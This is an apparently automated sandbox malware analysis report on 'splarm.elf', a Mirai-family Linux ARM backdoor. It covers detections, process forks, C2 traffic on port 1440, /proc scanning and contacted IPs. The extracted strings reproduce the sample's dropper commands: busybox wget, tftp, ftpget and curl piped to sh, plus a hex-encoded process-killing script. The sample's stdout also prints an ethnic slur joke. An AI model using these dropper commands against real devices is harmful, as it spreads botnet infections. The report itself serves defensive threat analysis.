Create Interactive Tour

Linux Analysis Report
splarm.elf

Overview

General Information

Sample name:	splarm.elf
Analysis ID:	1643367
MD5:	9b4de4d4341f1ea8f5ba6f0fcfb1bee8
SHA1:	200cec8d2413a153f3a11293f5b2451010f06474
SHA256:	9b2c1555ec6fdf5ef324ae712df57e49ddbe66b821f437c9b7df37950ec2dbb6
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643367
Start date and time:	2025-03-19 19:46:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/89@27/0

Runtime Messages

Command:	/tmp/splarm.elf
PID:	5414
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

splarm.elf (PID: 5414, Parent: 5337, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm.elf

splarm.elf New Fork (PID: 5422, Parent: 5414)

splarm.elf New Fork (PID: 5424, Parent: 5422)

splarm.elf New Fork (PID: 5426, Parent: 5422)

splarm.elf New Fork (PID: 5427, Parent: 5422)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:49048 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.13:41582 -> 185.220.204.227:1440
Source: global traffic	TCP traffic: 192.168.2.13:46976 -> 104.248.47.182:1440

Source: /tmp/splarm.elf (PID: 5414)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 4.119.173.49
Source: unknown	TCP traffic detected without corresponding DNS query: 4.119.173.49
Source: unknown	TCP traffic detected without corresponding DNS query: 33.97.143.198
Source: unknown	TCP traffic detected without corresponding DNS query: 33.97.143.198
Source: unknown	TCP traffic detected without corresponding DNS query: 83.127.232.248
Source: unknown	TCP traffic detected without corresponding DNS query: 83.127.232.248
Source: unknown	TCP traffic detected without corresponding DNS query: 170.77.119.3
Source: unknown	TCP traffic detected without corresponding DNS query: 170.77.119.3
Source: unknown	TCP traffic detected without corresponding DNS query: 65.253.73.131
Source: unknown	TCP traffic detected without corresponding DNS query: 65.253.73.131
Source: unknown	TCP traffic detected without corresponding DNS query: 139.187.43.32
Source: unknown	TCP traffic detected without corresponding DNS query: 43.9.49.98
Source: unknown	TCP traffic detected without corresponding DNS query: 139.187.43.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.172.100.66
Source: unknown	TCP traffic detected without corresponding DNS query: 43.9.49.98
Source: unknown	TCP traffic detected without corresponding DNS query: 192.172.100.66
Source: unknown	TCP traffic detected without corresponding DNS query: 194.80.123.53
Source: unknown	TCP traffic detected without corresponding DNS query: 194.80.123.53
Source: unknown	TCP traffic detected without corresponding DNS query: 63.126.175.88
Source: unknown	TCP traffic detected without corresponding DNS query: 63.126.175.88
Source: unknown	TCP traffic detected without corresponding DNS query: 203.208.180.217
Source: unknown	TCP traffic detected without corresponding DNS query: 203.208.180.217
Source: unknown	TCP traffic detected without corresponding DNS query: 12.187.225.17
Source: unknown	TCP traffic detected without corresponding DNS query: 12.187.225.17
Source: unknown	TCP traffic detected without corresponding DNS query: 220.7.160.210
Source: unknown	TCP traffic detected without corresponding DNS query: 220.7.160.210
Source: unknown	TCP traffic detected without corresponding DNS query: 161.53.197.64
Source: unknown	TCP traffic detected without corresponding DNS query: 161.53.197.64
Source: unknown	TCP traffic detected without corresponding DNS query: 149.41.151.69
Source: unknown	TCP traffic detected without corresponding DNS query: 208.113.153.37
Source: unknown	TCP traffic detected without corresponding DNS query: 149.41.151.69
Source: unknown	TCP traffic detected without corresponding DNS query: 211.60.212.146
Source: unknown	TCP traffic detected without corresponding DNS query: 208.113.153.37
Source: unknown	TCP traffic detected without corresponding DNS query: 86.86.46.59
Source: unknown	TCP traffic detected without corresponding DNS query: 211.60.212.146
Source: unknown	TCP traffic detected without corresponding DNS query: 86.86.46.59
Source: unknown	TCP traffic detected without corresponding DNS query: 131.192.246.246
Source: unknown	TCP traffic detected without corresponding DNS query: 147.81.197.173
Source: unknown	TCP traffic detected without corresponding DNS query: 131.192.246.246
Source: unknown	TCP traffic detected without corresponding DNS query: 147.81.197.173
Source: unknown	TCP traffic detected without corresponding DNS query: 94.196.65.71
Source: unknown	TCP traffic detected without corresponding DNS query: 94.196.65.71
Source: unknown	TCP traffic detected without corresponding DNS query: 76.169.4.12
Source: unknown	TCP traffic detected without corresponding DNS query: 193.241.131.22
Source: unknown	TCP traffic detected without corresponding DNS query: 76.169.4.12
Source: unknown	TCP traffic detected without corresponding DNS query: 193.241.131.22
Source: unknown	TCP traffic detected without corresponding DNS query: 180.98.202.210
Source: unknown	TCP traffic detected without corresponding DNS query: 180.98.202.210
Source: unknown	TCP traffic detected without corresponding DNS query: 169.192.82.80
Source: unknown	TCP traffic detected without corresponding DNS query: 169.192.82.80

Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: splarm.elf	String found in binary or memory: http:///curl.sh
Source: splarm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/89@27/0

Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/5399/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/128/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/7/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/249/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/129/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/8/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/800/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/9/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1906/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/802/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/803/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/20/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/21/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/22/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/23/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/24/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/25/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/26/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/27/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/28/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/29/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/3420/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1482/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/490/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1480/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/250/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/371/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/130/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/251/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/131/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/252/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/132/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/253/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/254/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1238/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/134/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/255/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/256/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/257/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/378/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/3413/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/258/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/259/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/1475/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/3774/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/936/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/30/comm	Jump to behavior
Source: /tmp/splarm.elf (PID: 5414)	File opened: /proc/816/comm	Jump to behavior

Source: /tmp/splarm.elf (PID: 5414)

Queries kernel information via 'uname':

Jump to behavior

Source: splarm.elf, 5414.1.00007ffdae49b000.00007ffdae4bc000.rw-.sdmp, splarm.elf, 5424.1.00007ffdae49b000.00007ffdae4bc000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm.elf
Source: splarm.elf, 5414.1.000056258fc52000.000056258fda0000.rw-.sdmp, splarm.elf, 5424.1.000056258fc52000.000056258fda0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm.elf, 5414.1.000056258fc52000.000056258fda0000.rw-.sdmp, splarm.elf, 5424.1.000056258fc52000.000056258fda0000.rw-.sdmp	Binary or memory string: %V!/etc/qemu-binfmt/arm
Source: splarm.elf, 5414.1.00007ffdae49b000.00007ffdae4bc000.rw-.sdmp, splarm.elf, 5424.1.00007ffdae49b000.00007ffdae4bc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
splarm.elf	42%	Virustotal		Browse
splarm.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ohlookthereismyboats.geek	104.248.47.182	true	false		high
watchmepull.dyn. [malformed]	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm.elf	false		high
http:///curl.sh	splarm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
9.27.56.245	unknown	United States	3356	LEVEL3US	false
35.57.14.2	unknown	United States	36375	UMICH-AS-5US	false
67.110.25.126	unknown	United States	2828	XO-AS15US	false
171.68.89.121	unknown	United States	109	CISCOSYSTEMSUS	false
116.246.90.203	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
218.198.33.187	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
26.153.165.149	unknown	United States	7922	COMCAST-7922US	false
38.86.204.176	unknown	United States	174	COGENT-174US	false
13.114.18.89	unknown	United States	16509	AMAZON-02US	false
136.167.2.15	unknown	United States	22834	BOSTONCOLLEGEUS	false
140.179.201.253	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
202.100.25.85	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
84.19.154.44	unknown	Sweden	49419	CANDIDATOR-ABSE	false
24.128.100.105	unknown	United States	7922	COMCAST-7922US	false
112.29.132.241	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
81.59.60.174	unknown	Belgium	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
117.150.48.94	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
177.53.185.182	unknown	Brazil	262476	PROVEDORBRCENTRALNETLTDABR	false
106.155.45.128	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
129.222.153.9	unknown	United States	6071	UNISYS-AS-EUS	false
19.28.158.168	unknown	United States	3	MIT-GATEWAYSUS	false
91.9.13.168	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
115.236.222.228	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
92.208.238.88	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
30.3.202.161	unknown	United States	7922	COMCAST-7922US	false
26.130.162.150	unknown	United States	7922	COMCAST-7922US	false
141.25.19.200	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
213.150.148.242	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
153.78.24.206	unknown	United States	14962	NCR-252US	false
65.26.150.132	unknown	United States	10796	TWC-10796-MIDWESTUS	false
68.92.224.66	unknown	United States	7018	ATT-INTERNET4US	false
37.120.240.243	unknown	Romania	41984	MCC-ASRO	false
190.175.93.195	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
52.103.164.157	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
194.83.237.170	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
175.97.157.215	unknown	Taiwan; Republic of China (ROC)	131628	TAIFUCLOUD-AS-TWTai-FuCloudCoLtdTW	false
159.53.220.61	unknown	United States	7743	AS-7743US	false
108.45.133.242	unknown	United States	701	UUNETUS	false
78.76.180.20	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
76.169.4.12	unknown	United States	20001	TWC-20001-PACWESTUS	false
173.201.219.248	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
69.111.192.209	unknown	United States	7018	ATT-INTERNET4US	false
172.44.97.40	unknown	United States	21928	T-MOBILE-AS21928US	false
220.191.169.160	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
97.53.2.211	unknown	United States	22394	CELLCOUS	false
142.136.249.132	unknown	United States	3456	TWC-3456-ITUS	false
177.79.165.47	unknown	Brazil	26599	TELEFONICABRASILSABR	false
199.201.204.179	unknown	United States	4927	IMPUUS	false
72.104.231.60	unknown	United States	22394	CELLCOUS	false
67.6.5.117	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
113.0.253.169	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
90.11.174.230	unknown	France	3215	FranceTelecom-OrangeFR	false
221.69.240.155	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
2.47.103.191	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
22.131.204.56	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.228.142.219	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
182.241.138.180	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
87.75.224.162	unknown	United Kingdom	25310	ASN-CWACCESSGB	false
205.170.51.130	unknown	United States	10835	VISIONARYUS	false
90.79.44.36	unknown	France	3215	FranceTelecom-OrangeFR	false
122.223.251.250	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
22.46.30.211	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
134.228.109.205	unknown	United States	13490	BUCKEYECABLEVISIONUS	false
104.226.231.4	unknown	United States	5650	FRONTIER-FRTRUS	false
6.245.10.210	unknown	United States	3356	LEVEL3US	false
135.94.38.30	unknown	United States	29705	MOTIVE-COMMUNICATIONS-INCORPORATEDUS	false
158.254.100.91	unknown	United States	29695	ALTIBOX_ASNorwayNO	false
172.205.192.252	unknown	United States	18747	IFX18747US	false
126.238.207.71	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
99.113.206.196	unknown	United States	7018	ATT-INTERNET4US	false
76.163.246.94	unknown	United States	46606	UNIFIEDLAYER-AS-1US	false
206.118.251.67	unknown	United States	3134	USAID-ASNUS	false
179.168.43.217	unknown	Brazil	26599	TELEFONICABRASILSABR	false
115.13.77.59	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
12.243.247.125	unknown	United States	7018	ATT-INTERNET4US	false
167.87.46.89	unknown	Germany	47003	ALPS-AS-1US	false
196.235.207.172	unknown	Tunisia	37492	ORANGE-TN	false
136.37.217.30	unknown	United States	16591	GOOGLE-FIBERUS	false
45.8.148.28	unknown	Germany	60548	AVORODE	false
94.206.119.67	unknown	United Arab Emirates	15802	DU-AS1AE	false
91.171.160.208	unknown	France	12322	PROXADFR	false
120.107.49.164	unknown	Taiwan; Republic of China (ROC)	17716	NTU-TWNationalTaiwanUniversityTW	false
131.192.246.246	unknown	United States	14348	URI-ASUS	false
211.8.2.65	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
199.137.25.84	unknown	United States	4152	USDA-1US	false
3.102.199.229	unknown	United States	16509	AMAZON-02US	false
182.155.6.42	unknown	Taiwan; Republic of China (ROC)	17809	VEETIME-TW-APVEETIMECORPTW	false
205.248.146.241	unknown	United States	3364	CSDCO-ASUS	false
168.142.116.117	unknown	South Africa	3741	ISZA	false
149.23.41.33	unknown	United States	33442	ZEBRA-TECHNOLOGIES-BGP-AS-NUMBERUS	false
27.69.235.251	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
54.196.73.34	unknown	United States	14618	AMAZON-AESUS	false
222.246.157.99	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
4.51.28.5	unknown	United States	3356	LEVEL3US	false
